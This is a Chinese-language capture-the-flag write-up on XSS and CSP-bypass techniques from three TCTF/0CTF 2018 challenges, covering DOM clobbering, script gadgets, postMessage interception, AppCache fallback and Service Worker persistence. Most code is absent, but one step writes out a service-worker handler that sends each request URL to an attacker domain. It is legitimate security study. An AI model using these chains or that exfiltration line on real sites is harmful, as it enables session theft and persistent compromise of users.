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TCTF/0CTF2018 XSS Writeup

2018-04-18

作者:LoRexxar’@知道创宇404实验室

刚刚4月过去的TCTF/0CTF2018一如既往的给了我们惊喜,其中最大的惊喜莫过于多道xss中Bypass CSP的题目,其中有很多应用于现代网站的防御思路。

其中bl0g提及了通过变量覆盖来调用已有代码动态插入Script标签绕过strict-dynamicCSP的利用方式。

h4xors.club2则是通过Script Gadgets和postmessage中间人来实现利用。

h4x0rs.space提及了Appcache以及Service worker配合jsonp接口实现的利用思路。

其中的很多利用思路非常精巧,值得研究。所以我花费了大量时间复现其中题目的思路以及环境,希望能给读者带来更多东西…

bl0g

题目分析

很有趣的题目,整个题的难点在于利用上

站内的功能都是比较常见的xss功能

  1. new 新生成文章
  2. article/xx 查看文章/评论
  3. submit 提交url (start with http://202.120.7.197:8090/)
  4. flag admin可以查看到正确的flag

还有一些隐藏的条件

1、CSP

挺有趣的写法,经过我的测试,两个CSP分开写,是同时生效并且单独生效的,也就是与的关系。

换个说法就是,假设我们通过动态生成script标签的方式,成功绕过了第二个CSP,但我们引入了<script src="hacker.website">,就会被第一条CSP拦截,很有趣的技巧。

从CSP我们也可以简单窥得一些利用思路,base-uri 'none'代表我们没办法通过修改根域来实现攻击,default-src 'none'这其中包含了frame-src,这代表攻击方式一定在站内实现,script-src的双限制代表我们只能通过<script>{eval_code}的方式来实现攻击,让我们接着往下看。

2、new中有一个字段是effect,是设置特效的

effect字段会插入到页面中的<input type="hidden" id="effect" value="{effect_value}">,但这里实际上是没有任何过滤的,也就是说我们可以通过闭合这个标签并插入我们想要的标签,需要注意的是,这个点只能插入70个字符

3、login?next=这个点可以存在一个任意跳转,通过这个点,我们可以绕过submit的限制(submit的maxlength是前台限制,可以随便跳转

4、站内的特效是通过jqery的append引入的,在article.js这个文件中。

effects在config.js中被定义。

回顾上面的几个条件,我们可以简单的整理思路。

在不考虑0day的情况下,我们唯有通过想办法通过动态生成script标签,通过sd CSP这个点来绕过

首先我们观察xss点周围的html结构

image.png-21.3kB

在整站不开启任何缓存的情况下,通过插入标签的方式,唯一存在一种绕过方式就是插入<script a="

这种插入方式,如果插入点在一个原页面的script标签前的话,有几率吃掉下一个script标签的nonce属性,举个例子:

但这个操作在这里并不适用,因为中间过多无用标签,再加上即使吞了也不能有什么办法控制后面的内容,所以这里只有一种绕过方式就是dom xss。

稍微翻翻可以发现,唯一的机会就在这里

如果我们可以覆盖effects变量,那我们就可以向body注入标签了,这里需要一点小trick。

在js中,对于特定的form,iframe,applet,embed,object,img标签,我们可以通过设置id或者name来使得通过id或name获取标签

也就是说,我们可以通过effects获取到<form name=effects>这个标签。同理,我们就可以通过插入这个标签来注册effects这个变量。

可如果我们尝试插入这个标签后,我们发现插入的effects在接下来的config.js中被覆盖了。

这时候我们回到刚才提到的特性,浏览器有一定的容错能力,我们可以通过插入<script>,那么这个标签会自动闭合后面config.js的</script>,那么中间的代码就会被视为js代码,被CSP拦截。

image.png-34.4kB

我们成功的覆盖了effects变量,紧接着我们需要覆盖effects[$("#effect").val()],这里我们选择id属性(这里其实是为了id会使用两次,可以更省位数),

所以我们尝试传入

image.png-16.9kB

成功执行

接下来的问题就在于怎么构造获取flag了,这里最大的问题在于怎么解决位数不够的问题,我们可以简单计算一下。

上面的payload最简化可以是

一共有45位,我们可以操作的位数只有25位。在有限的位数下我们需要获取flag页面的内容,并返回回来,我一时间没想到什么好办法。

下面写一种来自@超威蓝猫的解法,非常有趣的思路,payload大概是这样的

https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup

通过jquery get获取flag内容,通过箭头函数将返回赋值给window.name,紧接着,我们需要想办法获取这里的window.name。

这里用到一个特殊的跨域操作

http://www.cnblogs.com/zichi/p/4620656.html

这里用到了一个特殊的特性,就是window.name不跟随域变化而变化,通过window.name我们可以缓存原本的数据。

利用思路

完整payload

然后通过login?next=这里来跳转到这里,成功理顺

最后分享一个本环境受限的脑洞想法(我觉得蛮有意思的

这个思路受限于当前页面CSP没有unsafe-eval,刚才说到window.name不随域变化而变化,那么我们传入payload

然后在自己的服务器上设置

这样我们就能设置window.name了,如果允许eval的话,就可以通过这种方式绕过长度限制。

h4xors.club2

一个非常有意思的题目,做这题的时候有一点儿钻牛角尖了,后面想来有挺多有意思的点。先分享一个非常秀的非预期解wp。

http://www.wupco.cn/?p=4408&from=timeline

在分享一个写的比较详细的正解

https://gist.github.com/paul-axe/869919d4f2ea84dea4bf57e48dda82ed

下面顺着思路一起来看看这题。

题目分析

站内差不多是一个答题站点,用了比较多的第三方库,站内的功能比较有限。

  1. profile.php可以修改自己个人信息
  2. user.php/{id}可以访问自己的个人信息
  3. report.php没什么可说的,向后台发送请求,需要注意的是,直接发送user.php,不能控制
  4. index.php接受msg参数

还有一些特别的点

1、user.php页面的CSP为

非常严格,只允许nonce CSP的script解析

index.php页面的CSP为

允许sd CSP动态执行script(这里的出发点可能是index.php是加载游戏的地方,为了适应CSP,必须加入strict-dynamic。)

2、站内有两个xss点

第一个是user.php的profile,储存型xss,没有任何过滤。

第二个是index.php的msg参数,反射性xss,没有任何过滤,但是受限于xss auditor

顺着思路向下

因为user.php页面的CSP非常严格,我们需要跳出这个严格的地方,于是可以通过插入meta标签,跳转到index.php,在这里进一步操作

当然这里我们也可以利用储存型xss和页面内的一段js来构造a标签跳转。

在user.php的查看profile页面,我们可以看到

当我们插入

并请求

那么这里的a标签就会被点击,同样可以实现跳转。

接着我们探究index.php,这里我们的目标就是怎么能够绕过sd CSP了,当时的第一个想法是<base>,通过修改当前页面的根域,我们可以加载其他域的js(听起来很棒!

可惜如果我们请求

会被xss auditor拦截,最后面没办法加/">,一个非常有趣的情况出现了

image.png-7.8kB

最后的</h1>中的/被转换成了路径,前面的左尖括号被拼入了域名中,后面的右尖括号闭合标签…一波神奇的操作…

不过这里因为没法处理尖括号域名的事情,所以置于后话不谈。

我们继续讨论绕过sd CSP的思路,这种CSP已知只有一种办法,就是通过现在已有的js代码构造xss,这是一种在去年blackhat大会上google团队公布的CSP Bypass技巧,叫做Script Gadgets。

https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

这里的漏洞点和ppt中的思路不完全一致,但核心思路一样,都是要利用已有js代码中的一些点来构造利用。

站内关于游戏的代码在app.js中的最下面,加载了client.js

client.js中的代码不多,有一些值得注意的点,就是客户端是通过postMessage和服务端交互的。

image.png-94.1kB

而且所有的交互都没有对来源的校验,也就是可以接受任何域的请求。

ps: 这是一个呆子不开口在2016年乌云峰会上提到的攻击手法,通过postMessage来伪造请求

这样我们可以使用iframe标签来向beckend页面发送请求,通过这种方式来控制返回的消息。

这里我盗用了一张别的wp中的图,来更好的描述这种手法

原图来自https://github.com/l4wio/CTF-challenges-by-me/tree/master/0ctf_quals-2018/h4x0rs.club

image.png-112.7kB

这里我们的exploit.html充当了中间人的决赛,代替客户端向服务端发送请求,来获取想要的返回

这里我们可以关注一下client.js中的recvmsg

image.png-323.9kB

如果我们能控制data.title,通过这里的dom xss,我们可以成功的绕过index.php下的sd CSP限制。

值得注意的是,如果我们试图通过index.php页面的反射性xss来引入iframe标签的话,如果iframe标签中的链接是外域,会被xss auditor拦截。

所以这里需要用user.php的储存型xss跳出。这样利用链比较完整了。

利用思路

1、首先我们需要注册两个账号,这里使用ddog123和ddog321两个账号。

2、在ddog321账号中设置profile公开,并设置内容为

3、在evil_website.com(这里有个很关键的tips,这里只能使用https站,否则会爆引入混合数据,阻止访问)的index.html向backend发送请求,这里的js需要设置ping和badges,在badges中设置title来引入js

4、在ddog123账户中设置profile为

5、最后在1.js中加入利用代码,发送report给后台等待返回即可。

h4x0rs.space

TCTF/0CTF中的压轴题目,整个题目的利用思路都是近几年才被人们提出来的,这次比赛我也是第一次遇到环境,其中关于Appcache以及Service Worker的利用方式非常有趣,能在特殊环境下起到意想不到的作用。

下面的Writeup主要来自于

https://gist.github.com/masatokinugawa/b55a890c4b051cc6575b010e8c835803

题目分析

先简单说一下整个题目逻辑

1、站内是一个生成文章的网站,可以输入title,content,然后可以上传图片,值得注意的是,这里的所有输入都会被转义,生成的文章内容不存在xss点。

2、站内开启CSP,而且是比较严格的nonce CSP

3、文章内引入了类似短标签的方式可以插入部分标签,例如[img]test[/img]

值得注意的是这里有一个特例

如果插入[ig]123[/ig]就会被转为引入https://h4x0rs.space/blog/untrusted_files/embed/embed.php?embed=123&p=instagram的iframe。

值得注意的是,embed.php中的embed这里存在反射性xss点,只要闭合注释就可以插入标签,遗憾的是这里仍然会被CSP限制。

4、站内有一个jsonp的接口,但不能传尖括号,后面的文章内容什么的也没办法逃逸双引号。

5、图片上传的接口可以上传SVG,图片在站内同源,并且不受到CSP的限制,我们可以在SVG中执行js代码,来绕过CSP,而重点就是,我们只能提交blog id,我们需要找到一个办法来让它执行。

AppCache 的利用

在提示中,我们很明显可以看到cache这个提示,这里的提示其实是说,利用appcache来加载svg的方式。

在这之前,我们可能需要了解一下什么是Appcache。具体可以看这篇文章。

https://www.html5rocks.com/en/tutorials/appcache/beginner/

这是一种在数年前随H5诞生的一种可以让开发人员指定浏览器缓存哪些文件以供离线访问,在缓存情况下,即使用户在离线状态刷新页面也同样不会影响访问。

Appcache的开启方法是在html标签下添加manifest属性

这里的example.appcache可以是相对路径也可以是绝对路径,清单文件的结构大致如下:

CACHE:
这是条目的默认部分。系统会在首次下载此标头下列出的文件(或紧跟在 CACHE MANIFEST 后的文件)后显式缓存这些文件。

NETWORK:
此部分下列出的文件是需要连接到服务器的白名单资源。无论用户是否处于离线状态,对这些资源的所有请求都会绕过缓存。可使用通配符。

FALLBACK:
此部分是可选的,用于指定无法访问资源时的后备网页。其中第一个 URI 代表资源,第二个代表后备网页。两个 URI 必须相关,并且必须与清单文件同源。可使用通配符。

这里有一点儿很重要,关于Appcache,您必须修改清单文件本身才能让浏览器刷新缓存文件

去年@filedescriptor公开了一个利用Appache来攻击沙箱域的方法。

https://speakerdeck.com/filedescriptor/exploiting-the-unexploitable-with-lesser-known-browser-tricks?slide=16

这里正是使用了Appcache的FALLBACK文件,我们可以通过上传恶意的svg文件,形似

然后将manifest设置为相对目录的svg文件路径,形似

在这种情况下,如果我们能触发页面500,那么页面就会跳转至FALLBACK指定页面,我们成功引入了一个任意文件跳转。

紧接着,我们需要通过引入[ig]a#[/ig],通过拼接url的方式,这里的#会使后面的&instagram无效,使页面返回500错误,缓存就会将其引向FALLBACK设置页面。

这里的payload形似

这里之所以会引入多个a#是因为缓存中FALLBACK的加载时间可能慢于单个iframe的加载时间,所以需要引入多个,保证FALLBACK的生效。

最后发送文章id到后台,浏览器访问文章则会触发下面的流程。

上面的文章会转化为

上面的iframe标签会引入我们提前上传好的manfiest文件

并将FALLBACK设置为/blog/untrusted_files/[SVG_HAVING_XSS_PAYLOAD].svg

然后下面的iframe标签会访问/blog/untrusted_files/embed/embed.php?embed=a并处罚500错误,跳转为提前设置好的svg页面,成功逃逸CSP。

当我们第一次读取到document.cookie时,返回为

大致意思是说,bot会在5秒后访问flag页面,我们需要获取这个id。

Service Worker的利用

仔细回顾站内的功能,根据出题人的意思,这里会跳转到形似https://h4x0rs.space/blog/[blog_post_id]的url,通过Appcache我们只能控制/blog/untrusted_files/这个目录下的缓存,这里我们需要控制到另一个选项卡的状态。

在不具有窗口引用办法的情况下,这里只有使用Service Worker来做持久化利用。

关于Service Worker忽然发现以前很多人提到过,但好像一直都没有被重视过。这种一种用来替代Appcache的离线缓存机制,他是基于Web Worker的事件驱动的,他的执行机制都是通过新启动线程解决,比起Appcache来说,它可以针对同域下的整站生效,而且持续保存至浏览器重启都可以重用。

下面是两篇关于service worker的文档:

https://developers.google.com/web/fundamentals/primers/service-workers/?hl=zh-cn

https://www.w3.org/TR/service-workers/

使用Service Worker有两个条件:

1、Service Worker只生效于https://或者http://localhost/
2、其次你需要浏览器支持,现在并不是所有的浏览器都支持Service Worker。

当我们满足上述条件,并且有一个xss利用点时,我们可以尝试构造一个持久化xss利用点,但在利用之前,我们需要更多条件。

1、如果我们使用navigator.serviceWorker.register来注册js,那么这里请求的url必须同源而且请求文件返回头必须为text/javascript, application/x-javascript, application/javascript中的一种。

2、假设站内使用onfetch接口获取内容,我们可以通过hookfetch接口,控制返回来触发持久化控制。

对于第一种情况来说,或许我们很难找到上传js的接口,但不幸的是,jsonp接口刚好符合这样的所有条件~~

具体的利用方式我会额外在写文分析这个,详情可以看这几篇文章:

http://drops.xmd5.com/static/drops/web-10798.html

https://paper.seebug.org/177/

https://speakerdeck.com/masatokinugawa/pwa-study-sw

最后的这个ppt最详细,但他是日语的,读起来非常吃力。

这里回到题目,我们可以注意到站内刚好有一个jsonp接口

值得注意的是,这里的callback接口有字数限制,这里可以通过和title的配合,通过注释来引入任何我们想要的字符串。

这里需要注意的是,在serviceWorker线程中,我们并不能获取所有的对象,所以这里直接获取当前请求的url。

完整的利用链如下:

1、将*/onfetch=e=>{fetch(https://my-domain/?${e.request.url})}//写入文章内,并保留下文章id。

2、构造jsonp接口https://h4x0rs.space/blog/pad.php?callback=/*&id={sw_post_id}

3、上传svg,https://h4x0rs.space/blog/untrusted_files/[SVG_HAVING_SW].svg

4、构造manifest文件,https://h4x0rs.space/blog/untrusted_files/[SVG_MANIFEST_SW].svg

5、构造embed页面url

6、最后构造利用文章内容

7、发送post id即可

REF

作者:知道创宇404实验室 | Categories:技术分享 | Tags:

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